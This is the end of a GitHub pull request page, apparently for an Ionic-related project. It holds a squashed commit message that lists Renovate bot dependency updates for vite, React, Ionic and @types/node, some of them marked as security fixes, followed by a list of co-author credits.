Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.4 (#4065)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update react to v19.1.0 (#4063)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.5.2 (#4055)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.4 [security] (#4061)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.14 (#4060)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.5 [security] (#4067)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.14.0 (#4069)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update react monorepo to v19.1.0 (#4070)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.5.3 (#4068)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

---------

Signed-off-by: Emmanuel Ferdman <[email protected]>
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Brandy Carney <[email protected]>
Co-authored-by: Lucian I. Last <[email protected]>
Co-authored-by: Marlon Harrison <[email protected]>
Co-authored-by: Maria Hutt <[email protected]>
Co-authored-by: Nikita Barsukov <[email protected]>
Co-authored-by: Daniel Cregg <[email protected]>
Co-authored-by: Brandy Carney <[email protected]>
Co-authored-by: Nishant Vispute <[email protected]>
Co-authored-by: Moose <[email protected]>
Co-authored-by: Michael Wilkinson <[email protected]>
Co-authored-by: Maria Hutt <[email protected]>
Co-authored-by: Sean Perkins <[email protected]>
Co-authored-by: Kenneth Ng <[email protected]>
Co-authored-by: Elvis Fernando <[email protected]>
Co-authored-by: Tanner Reits <[email protected]>
Co-authored-by: Emmanuel Ferdman <[email protected]>
Co-authored-by: InscurePL2 <[email protected]>
Co-authored-by: Sandeep Salwan <[email protected]>
Co-authored-by: Matthew Harris <[email protected]>
Co-authored-by: Gocho Mugo <[email protected]>
Co-authored-by: Kazuki Furukawa <[email protected]>
Co-authored-by: Brandy Smith <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant